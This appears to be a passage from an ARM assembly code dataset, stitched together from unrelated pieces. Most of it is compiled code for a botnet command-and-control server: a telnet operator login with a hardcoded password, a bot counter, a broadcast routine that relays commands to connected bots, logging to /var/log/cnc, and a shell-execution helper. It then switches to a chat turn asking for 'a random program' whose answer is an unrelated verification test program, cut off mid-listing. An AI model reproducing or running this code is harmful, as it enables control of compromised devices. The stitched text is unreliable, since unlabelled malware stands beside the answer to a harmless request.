add x0, x1, x0
ldrb w0, [x0, 4]
cmp w0, 0
bne .L37
ldr w0, [sp, 40]
cmp w0, 0
beq .L42
adrp x0, managements
add x0, x0, :lo12:managements
ldrsw x1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
cmp w0, 0
beq .L42
.L37:
ldr w0, [sp, 40]
cmp w0, 0
beq .L39
adrp x0, managements
add x0, x0, :lo12:managements
ldrsw x1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
cmp w0, 0
beq .L39
mov w3, 16384
mov x2, 0
adrp x0, .LC5
add x1, x0, :lo12:.LC5
ldr w0, [sp, 44]
bl send
.L39:
ldr x0, [sp, 24]
bl strlen
mov w3, 16384
mov x2, x0
ldr x1, [sp, 24]
ldr w0, [sp, 44]
bl send
ldr w0, [sp, 40]
cmp w0, 0
beq .L40
adrp x0, managements
add x0, x0, :lo12:managements
ldrsw x1, [sp, 44]
ldr w0, [x0, x1, lsl 2]
cmp w0, 0
beq .L40
mov w3, 16384
mov x2, 0
adrp x0, .LC5
add x1, x0, :lo12:.LC5
ldr w0, [sp, 44]
bl send
b .L38
.L40:
mov w3, 16384
mov x2, 1
adrp x0, .LC5
add x1, x0, :lo12:.LC5
ldr w0, [sp, 44]
bl send
b .L38
.L42:
nop
.L38:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L35:
ldr w1, [sp, 44]
mov w0, 16959
movk w0, 0xf, lsl 16
cmp w1, w0
ble .L41
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size broadcast, .-broadcast
.section .rodata
.align 3
.LC6:
.string "accept"
.align 3
.LC7:
.string "!* LUCKYLILDUDE\n"
.align 3
.LC8:
.string "epoll_ctl"
.align 3
.LC9:
.string "!* TELNET\n"
.align 3
.LC10:
.string "PONG!\n"
.align 3
.LC11:
.string "FUCKYOU"
.align 3
.LC12:
.string "buf: \"%s\"\n"
.text
.align 2
.global epollEventLoop
.type epollEventLoop, %function
epollEventLoop:
.LFB11:
.cfi_startproc
sub sp, sp, #2192
.cfi_def_cfa_offset 2192
stp x29, x30, [sp]
.cfi_offset 29, -2192
.cfi_offset 30, -2184
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 2184]
mov x1, 0
mov x1, 16
mov x0, 16960
movk x0, 0xf, lsl 16
bl calloc
str x0, [sp, 88]
.L77:
adrp x0, epollFD
add x0, x0, :lo12:epollFD
ldr w0, [x0]
mov w3, -1
mov w2, 16960
movk w2, 0xf, lsl 16
ldr x1, [sp, 88]
bl epoll_wait
str w0, [sp, 64]
str wzr, [sp, 48]
b .L44
.L76:
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w0, [x0]
and w0, w0, 8
cmp w0, 0
bne .L45
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w0, [x0]
and w0, w0, 16
cmp w0, 0
bne .L45
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w0, [x0]
and w0, w0, 1
cmp w0, 0
bne .L46
.L45:
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w2, [x0, 8]
adrp x0, clients
add x1, x0, :lo12:clients
sxtw x0, w2
lsl x0, x0, 3
add x0, x1, x0
strb wzr, [x0, 4]
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w0, [x0, 8]
bl close
b .L47
.L46:
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w1, [x0, 8]
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
cmp w1, w0
bne .L48
.L63:
mov w0, 16
str w0, [sp, 44]
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
add x2, sp, 44
add x1, sp, 120
bl accept
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L49
bl __errno_location
ldr w0, [x0]
cmp w0, 11
beq .L79
bl __errno_location
ldr w0, [x0]
cmp w0, 11
beq .L79
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl perror
b .L50
.L49:
add x0, sp, 120
ldr w1, [x0, 4]
adrp x0, clients
add x2, x0, :lo12:clients
ldrsw x0, [sp, 72]
lsl x0, x0, 3
add x0, x2, x0
str w1, [x0]
str wzr, [sp, 56]
str wzr, [sp, 52]
b .L51
.L56:
adrp x0, clients
add x1, x0, :lo12:clients
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
ldrb w0, [x0, 4]
cmp w0, 0
beq .L80
ldr w1, [sp, 52]
ldr w0, [sp, 72]
cmp w1, w0
beq .L80
adrp x0, clients
add x1, x0, :lo12:clients
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
ldr w1, [x0]
adrp x0, clients
add x2, x0, :lo12:clients
ldrsw x0, [sp, 72]
lsl x0, x0, 3
add x0, x2, x0
ldr w0, [x0]
cmp w1, w0
bne .L54
mov w0, 1
str w0, [sp, 56]
b .L55
.L80:
nop
.L54:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L51:
ldr w1, [sp, 52]
mov w0, 16959
movk w0, 0xf, lsl 16
cmp w1, w0
ble .L56
.L55:
ldr w0, [sp, 56]
cmp w0, 0
beq .L57
mov w3, 16384
mov x2, 16
adrp x0, .LC7
add x1, x0, :lo12:.LC7
ldr w0, [sp, 72]
bl send
cmn x0, #1
bne .L58
ldr w0, [sp, 72]
bl close
b .L62
.L58:
ldr w0, [sp, 72]
bl close
b .L62
.L57:
ldr w0, [sp, 72]
bl make_socket_non_blocking
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L60
ldr w0, [sp, 72]
bl close
b .L50
.L60:
ldr w0, [sp, 72]
str w0, [sp, 112]
mov w0, -2147483647
str w0, [sp, 104]
adrp x0, epollFD
add x0, x0, :lo12:epollFD
ldr w0, [x0]
add x1, sp, 104
mov x3, x1
ldr w2, [sp, 72]
mov w1, 1
bl epoll_ctl
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L61
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl perror
ldr w0, [sp, 72]
bl close
b .L50
.L61:
adrp x0, clients
add x1, x0, :lo12:clients
ldrsw x0, [sp, 72]
lsl x0, x0, 3
add x0, x1, x0
mov w1, 1
strb w1, [x0, 4]
mov w3, 16384
mov x2, 10
adrp x0, .LC9
add x1, x0, :lo12:.LC9
ldr w0, [sp, 72]
bl send
b .L63
.L50:
b .L79
.L62:
b .L63
.L48:
ldrsw x0, [sp, 48]
lsl x0, x0, 4
ldr x1, [sp, 88]
add x0, x1, x0
ldr w0, [x0, 8]
str w0, [sp, 68]
ldrsw x0, [sp, 68]
lsl x1, x0, 3
adrp x0, clients
add x0, x0, :lo12:clients
add x0, x1, x0
str x0, [sp, 96]
str wzr, [sp, 60]
ldr x0, [sp, 96]
mov w1, 1
strb w1, [x0, 4]
.L75:
add x0, sp, 136
mov x2, 2048
mov w1, 0
bl memset
b .L64
.L70:
add x0, sp, 136
mov w1, 10
bl strchr
cmp x0, 0
bne .L65
mov w0, 1
str w0, [sp, 60]
b .L66
.L65:
add x0, sp, 136
bl trim
add x2, sp, 136
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x2
bl strcmp
cmp w0, 0
bne .L67
mov w3, 16384
mov x2, 5
adrp x0, .LC10
add x1, x0, :lo12:.LC10
ldr w0, [sp, 68]
bl send
cmn x0, #1
bne .L64
mov w0, 1
str w0, [sp, 60]
b .L66
.L67:
add x2, sp, 136
adrp x0, .LC11
add x1, x0, :lo12:.LC11
mov x0, x2
bl strcmp
cmp w0, 0
bne .L69
b .L64
.L69:
add x0, sp, 136
mov x1, x0
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
.L64:
add x0, sp, 136
mov x2, 2048
mov w1, 0
bl memset
cmp x0, 0
beq .L66
add x0, sp, 136
ldr w2, [sp, 68]
mov w1, 2048
bl fdgets
sxtw x0, w0
str x0, [sp, 80]
ldr x0, [sp, 80]
cmp x0, 0
bgt .L70
.L66:
ldr x0, [sp, 80]
cmn x0, #1
bne .L71
bl __errno_location
ldr w0, [x0]
cmp w0, 11
beq .L81
mov w0, 1
str w0, [sp, 60]
b .L81
.L71:
ldr x0, [sp, 80]
cmp x0, 0
bne .L75
mov w0, 1
str w0, [sp, 60]
b .L73
.L81:
nop
.L73:
ldr w0, [sp, 60]
cmp w0, 0
beq .L47
ldr x0, [sp, 96]
strb wzr, [x0, 4]
ldr w0, [sp, 68]
bl close
b .L47
.L79:
nop
.L47:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L44:
ldr w1, [sp, 48]
ldr w0, [sp, 64]
cmp w1, w0
blt .L76
b .L77
.cfi_endproc
.LFE11:
.size epollEventLoop, .-epollEventLoop
.align 2
.global clientsConnected
.type clientsConnected, %function
clientsConnected:
.LFB12:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, 8]
str wzr, [sp, 12]
str wzr, [sp, 8]
b .L83
.L86:
adrp x0, clients
add x1, x0, :lo12:clients
ldrsw x0, [sp, 8]
lsl x0, x0, 3
add x0, x1, x0
ldrb w0, [x0, 4]
cmp w0, 0
beq .L88
ldr w0, [sp, 12]
add w0, w0, 1
str w0, [sp, 12]
b .L85
.L88:
nop
.L85:
ldr w0, [sp, 8]
add w0, w0, 1
str w0, [sp, 8]
.L83:
ldr w1, [sp, 8]
mov w0, 16959
movk w0, 0xf, lsl 16
cmp w1, w0
ble .L86
ldr w0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size clientsConnected, .-clientsConnected
.local fdopen_pids
.comm fdopen_pids,8,8
.section .rodata
.align 3
.LC13:
.string "-c"
.align 3
.LC14:
.string "sh"
.align 3
.LC15:
.string "/bin/sh"
.text
.align 2
.global fdpopen
.type fdpopen, %function
fdpopen:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 40]
str x1, [sp, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x0]
str x2, [sp, 72]
mov x2, 0
ldrb w0, [x1]
cmp w0, 114
beq .L90
ldrb w0, [x1]
cmp w0, 119
bne .L91
.L90:
ldr x0, [sp, 32]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 0
beq .L92
.L91:
mov w0, -1
b .L107
.L92:
add x0, sp, 64
bl pipe
cmp w0, 0
bge .L94
mov w0, -1
b .L107
.L94:
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x0, [x0]
cmp x0, 0
bne .L95
bl getdtablesize
str w0, [sp, 56]
ldr w0, [sp, 56]
cmp w0, 0
bgt .L96
mov w0, -1
b .L107
.L96:
ldrsw x0, [sp, 56]
lsl w0, w0, 2
uxtw x0, w0
bl malloc
mov x1, x0
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
str x1, [x0]
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x0, [x0]
cmp x0, 0
bne .L97
mov w0, -1
b .L107
.L97:
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x3, [x0]
ldrsw x0, [sp, 56]
lsl x0, x0, 2
mov x2, x0
mov w1, 0
mov x0, x3
bl memset
.L95:
bl vfork
str w0, [sp, 60]
ldr w0, [sp, 60]
cmn w0, #1
beq .L98
ldr w0, [sp, 60]
cmp w0, 0
beq .L99
b .L109
.L98:
ldr w0, [sp, 64]
bl close
ldr w0, [sp, 68]
bl close
mov w0, -1
b .L107
.L99:
ldr x0, [sp, 32]
ldrb w0, [x0]
cmp w0, 114
bne .L101
ldr w0, [sp, 68]
cmp w0, 1
beq .L102
ldr w0, [sp, 68]
mov w1, 1
bl dup2
ldr w0, [sp, 68]
bl close
.L102:
ldr w0, [sp, 64]
bl close
b .L103
.L101:
ldr w0, [sp, 64]
cmp w0, 0
beq .L104
ldr w0, [sp, 64]
mov w1, 0
bl dup2
ldr w0, [sp, 64]
bl close
.L104:
ldr w0, [sp, 68]
bl close
.L103:
mov x4, 0
ldr x3, [sp, 40]
adrp x0, .LC13
add x2, x0, :lo12:.LC13
adrp x0, .LC14
add x1, x0, :lo12:.LC14
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl execl
mov w0, 127
bl _exit
.L109:
ldr x0, [sp, 32]
ldrb w0, [x0]
cmp w0, 114
bne .L105
ldr w19, [sp, 64]
ldr w0, [sp, 68]
bl close
b .L106
.L105:
ldr w19, [sp, 68]
ldr w0, [sp, 64]
bl close
.L106:
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x1, [x0]
sxtw x0, w19
lsl x0, x0, 2
add x0, x1, x0
ldr w1, [sp, 60]
str w1, [x0]
mov w0, w19
.L107:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L108
bl __stack_chk_fail
.L108:
mov w0, w1
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size fdpopen, .-fdpopen
.align 2
.global fdpclose
.type fdpclose, %function
fdpclose:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -320]!
.cfi_def_cfa_offset 320
.cfi_offset 29, -320
.cfi_offset 30, -312
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -304
.cfi_offset 20, -296
str w0, [sp, 44]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 312]
mov x1, 0
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x0, [x0]
cmp x0, 0
beq .L111
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
cmp w0, 0
bne .L112
.L111:
mov w0, -1
b .L118
.L112:
ldr w0, [sp, 44]
bl close
add x0, sp, 184
bl sigemptyset
add x0, sp, 184
mov w1, 2
bl sigaddset
add x0, sp, 184
mov w1, 3
bl sigaddset
add x0, sp, 184
mov w1, 1
bl sigaddset
add x1, sp, 56
add x0, sp, 184
mov x2, x1
mov x1, x0
mov w0, 0
bl sigprocmask
.L115:
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
add x1, sp, 52
mov w2, 0
bl waitpid
mov w19, w0
cmn w19, #1
bne .L114
bl __errno_location
ldr w0, [x0]
cmp w0, 4
beq .L115
.L114:
add x0, sp, 56
mov x2, 0
mov x1, x0
mov w0, 2
bl sigprocmask
adrp x0, fdopen_pids
add x0, x0, :lo12:fdopen_pids
ldr x1, [x0]
sxtw x0, w20
lsl x0, x0, 2
add x0, x1, x0
str wzr, [x0]
cmn w19, #1
beq .L116
ldr w0, [sp, 52]
asr w0, w0, 8
and w0, w0, 255
b .L118
.L116:
mov w0, -1
.L118:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 312]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L119
bl __stack_chk_fail
.L119:
mov w0, w1
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 320
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size fdpclose, .-fdpclose
.section .rodata
.align 3
.LC16:
.string ""
.align 3
.LC17:
.string "sexg0d69"
.align 3
.LC18:
.string "\033[1A"
.align 3
.LC19:
.string "[ ~ KEEP HACKING! ~ ]\r\n"
.align 3
.LC20:
.string "~$ "
.align 3
.LC21:
.string "BOTS"
.align 3
.LC22:
.string "BOTS ONLINE: %d\r\n"
.align 3
.LC23:
.string "a"
.align 3
.LC24:
.string "/var/log/cnc"
.align 3
.LC25:
.string "%s\n"
.text
.align 2
.global telnetWorker
.type telnetWorker, %function
telnetWorker:
.LFB15:
.cfi_startproc
mov x12, 6208
sub sp, sp, x12
.cfi_def_cfa_offset 6208
stp x29, x30, [sp]
.cfi_offset 29, -6208
.cfi_offset 30, -6200
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 6200]
mov x1, 0
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w0, [x0]
str w0, [sp, 36]
adrp x0, managesConnected
add x0, x0, :lo12:managesConnected
ldr w0, [x0]
add w1, w0, 1
adrp x0, managesConnected
add x0, x0, :lo12:managesConnected
str w1, [x0]
add x0, sp, 2104
mov x2, 2048
mov w1, 0
bl memset
add x0, sp, 56
mov x2, 2048
mov w1, 0
bl memset
add x0, sp, 4096
add x0, x0, 56
mov x2, 2048
mov w1, 0
bl memset
add x0, sp, 56
mov x2, 2048
mov w1, 0
bl memset
mov w3, 16384
mov x2, 0
adrp x0, .LC16
add x1, x0, :lo12:.LC16
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L135
add x0, sp, 56
ldr w2, [sp, 36]
mov w1, 2048
bl fdgets
cmp w0, 0
ble .L136
add x0, sp, 56
bl trim
add x2, sp, 56
adrp x0, .LC17
add x1, x0, :lo12:.LC17
mov x0, x2
bl strcmp
cmp w0, 0
bne .L137
add x0, sp, 56
mov x2, 2048
mov w1, 0
bl memset
mov w3, 16384
mov x2, 4
adrp x0, .LC18
add x1, x0, :lo12:.LC18
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L138
mov w3, 16384
mov x2, 23
adrp x0, .LC19
add x1, x0, :lo12:.LC19
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L139
mov w3, 16384
mov x2, 3
adrp x0, .LC20
add x1, x0, :lo12:.LC20
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L140
b .L128
.L133:
add x2, sp, 56
adrp x0, .LC21
add x1, x0, :lo12:.LC21
mov x0, x2
bl strstr
cmp x0, 0
beq .L129
bl clientsConnected
mov w1, w0
adrp x0, managesConnected
add x0, x0, :lo12:managesConnected
ldr w0, [x0]
add x4, sp, 4096
add x4, x4, 56
mov w3, w0
mov w2, w1
adrp x0, .LC22
add x1, x0, :lo12:.LC22
mov x0, x4
bl sprintf
add x0, sp, 4096
add x0, x0, 56
bl strlen
mov x1, x0
add x0, sp, 4096
add x0, x0, 56
mov w3, 16384
mov x2, x1
mov x1, x0
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L141
.L129:
add x0, sp, 56
bl trim
mov w3, 16384
mov x2, 3
adrp x0, .LC20
add x1, x0, :lo12:.LC20
ldr w0, [sp, 36]
bl send
cmn x0, #1
beq .L142
add x0, sp, 56
ldrb w0, [x0]
cmp w0, 0
bne .L132
b .L128
.L132:
adrp x0, .LC23
add x1, x0, :lo12:.LC23
adrp x0, .LC24
add x0, x0, :lo12:.LC24
bl fopen
str x0, [sp, 48]
add x0, sp, 56
mov x2, x0
adrp x0, .LC25
add x1, x0, :lo12:.LC25
ldr x0, [sp, 48]
bl fprintf
ldr x0, [sp, 48]
bl fclose
add x0, sp, 56
ldr w1, [sp, 36]
bl broadcast
add x0, sp, 56
mov x2, 2048
mov w1, 0
bl memset
.L128:
add x0, sp, 56
ldr w2, [sp, 36]
mov w1, 2048
bl fdgets
cmp w0, 0
bgt .L133
b .L122
.L135:
nop
b .L122
.L136:
nop
b .L122
.L137:
nop
b .L122
.L138:
nop
b .L122
.L139:
nop
b .L122
.L140:
nop
b .L122
.L142:
nop
.L122:
adrp x0, managements
add x0, x0, :lo12:managements
ldrsw x1, [sp, 36]
str wzr, [x0, x1, lsl 2]
ldr w0, [sp, 36]
bl close
adrp x0, managesConnected
add x0, x0, :lo12:managesConnected
ldr w0, [x0]
sub w1, w0, #1
adrp x0, managesConnected
add x0, x0, :lo12:managesConnected
str w1, [x0]
b .L130
.L141:
nop
.L130:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 6200]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L134
bl __stack_chk_fail
.L134:
mov x0, x1
ldp x29, x30, [sp]
mov x12, 6208
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size telnetWorker, .-telnetWorker
.section .rodata
.align 3
.LC26:
.string "ERROR opening socket"
.align 3
.LC27:
.string "ERROR on binding"
.align 3
.LC28:
.string "ERROR on accept"
.text
.align 2
.global telnetListener
.type telnetListener, %function
telnetListener:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str w0, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
mov w2, 0
mov w1, 1
mov w0, 2
bl socket
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
bge .L144
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl perror
.L144:
add x0, sp, 48
stp xzr, xzr, [x0]
mov w0, 2
strh w0, [sp, 48]
str wzr, [sp, 52]
ldr w0, [sp, 28]
and w0, w0, 65535
bl htons
and w0, w0, 65535
strh w0, [sp, 50]
add x0, sp, 48
mov w2, 16
mov x1, x0
ldr w0, [sp, 36]
bl bind
cmp w0, 0
bge .L145
adrp x0, .LC27
add x0, x0, :lo12:.LC27
bl perror
.L145:
mov w1, 5
ldr w0, [sp, 36]
bl listen
mov w0, 16
str w0, [sp, 32]
.L147:
add x1, sp, 32
add x0, sp, 64
add x0, x0, 4
mov x2, x1
mov x1, x0
ldr w0, [sp, 36]
bl accept
str w0, [sp, 64]
ldr w0, [sp, 64]
cmp w0, 0
bge .L146
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl perror
.L146:
add x0, sp, 64
add x4, sp, 40
mov x3, x0
adrp x0, telnetWorker
add x2, x0, :lo12:telnetWorker
mov x1, 0
mov x0, x4
bl pthread_create
b .L147
.cfi_endproc
.LFE16:
.size telnetListener, .-telnetListener
.section .rodata
.align 3
.LC29:
.string "%s [BOT PORT] [THREADS] [CNC PORT]\n"
.align 3
.LC30:
.string "listen"
.align 3
.LC31:
.string "epoll_create"
.text
.align 2
.global main
.type main, %function
main:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
.cfi_def_cfa_register 29
stp x20, x21, [sp, 16]
stp x22, x23, [sp, 32]
stp x24, x25, [sp, 48]
stp x26, x27, [sp, 64]
sub sp, sp, #16
.cfi_offset 20, -144
.cfi_offset 21, -136
.cfi_offset 22, -128
.cfi_offset 23, -120
.cfi_offset 24, -112
.cfi_offset 25, -104
.cfi_offset 26, -96
.cfi_offset 27, -88
str w0, [x29, 92]
str x1, [x29, 80]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 152]
mov x1, 0
mov x1, 1
mov w0, 13
bl signal
ldr x0, [x29, 80]
add x0, x0, 24
ldr x0, [x0]
bl atoi
str w0, [x29, 112]
ldr w0, [x29, 92]
cmp w0, 4
beq .L150
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [x29, 80]
ldr x0, [x0]
mov x2, x0
adrp x0, .LC29
add x1, x0, :lo12:.LC29
mov x0, x3
bl fprintf
mov w0, 1
bl exit
.L150:
adrp x0, fileFD
add x0, x0, :lo12:fileFD
str xzr, [x0]
ldr x0, [x29, 80]
add x0, x0, 16
ldr x0, [x0]
bl atoi
str w0, [x29, 108]
ldr x0, [x29, 80]
add x0, x0, 8
ldr x0, [x0]
bl create_and_bind
mov w1, w0
adrp x0, listenFD
add x0, x0, :lo12:listenFD
str w1, [x0]
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
cmn w0, #1
bne .L151
bl abort
.L151:
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
bl make_socket_non_blocking
str w0, [x29, 116]
ldr w0, [x29, 116]
cmn w0, #1
bne .L152
bl abort
.L152:
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
mov w1, 4096
bl listen
str w0, [x29, 116]
ldr w0, [x29, 116]
cmn w0, #1
bne .L153
adrp x0, .LC30
add x0, x0, :lo12:.LC30
bl perror
bl abort
.L153:
mov w0, 0
bl epoll_create1
mov w1, w0
adrp x0, epollFD
add x0, x0, :lo12:epollFD
str w1, [x0]
adrp x0, epollFD
add x0, x0, :lo12:epollFD
ldr w0, [x0]
cmn w0, #1
bne .L154
adrp x0, .LC31
add x0, x0, :lo12:.LC31
bl perror
bl abort
.L154:
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
str w0, [x29, 144]
mov w0, -2147483647
str w0, [x29, 136]
adrp x0, epollFD
add x0, x0, :lo12:epollFD
ldr w4, [x0]
adrp x0, listenFD
add x0, x0, :lo12:listenFD
ldr w0, [x0]
add x1, x29, 136
mov x3, x1
mov w2, w0
mov w1, 1
mov w0, w4
bl epoll_ctl
str w0, [x29, 116]
ldr w0, [x29, 116]
cmn w0, #1
bne .L155
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl perror
bl abort
.L155:
ldr w0, [x29, 108]
add w0, w0, 2
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 120]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L156:
cmp sp, x1
beq .L157
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L156
.L157:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L158
str xzr, [sp, 1024]
.L158:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 128]
b .L159
.L160:
ldr w0, [x29, 108]
add w0, w0, 1
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 128]
add x4, x1, x0
mov x3, 0
adrp x0, epollEventLoop
add x2, x0, :lo12:epollEventLoop
mov x1, 0
mov x0, x4
bl pthread_create
.L159:
ldr w0, [x29, 108]
sub w1, w0, #1
str w1, [x29, 108]
cmp w0, 0
bne .L160
ldr x4, [x29, 128]
ldrsw x0, [x29, 112]
mov x3, x0
adrp x0, telnetListener
add x2, x0, :lo12:telnetListener
mov x1, 0
mov x0, x4
bl pthread_create
.L161:
mov w1, -1
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl broadcast
mov w0, 60
bl sleep
b .L161
.cfi_endproc
.LFE17:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global __VERIFIER_assert
.type __VERIFIER_assert, %function
__VERIFIER_assert:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
bne .L4
nop
.L3:
bl __VERIFIER_error
.L4:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size __VERIFIER_assert, .-__VERIFIER_assert
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
sub sp, sp, #544
.cfi_def_cfa_offset 544
stp x29, x30, [sp]
.cfi_offset 29, -544
.cfi_offset 30, -536
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 536]
mov x1, 0
str wzr, [sp, 24]
b .L6
.L7:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
add x1, sp, 32
mov w2, 42
str w2, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L6:
ldr w0, [sp, 24]
cmp w0, 124
ble .L7
str wzr, [sp, 28]
b .L8
.L9:
ldrsw x0, [sp, 28]
lsl x0, x0, 2
add x1, sp, 32
ldr w0, [x1, x0]
cmp w0, 42
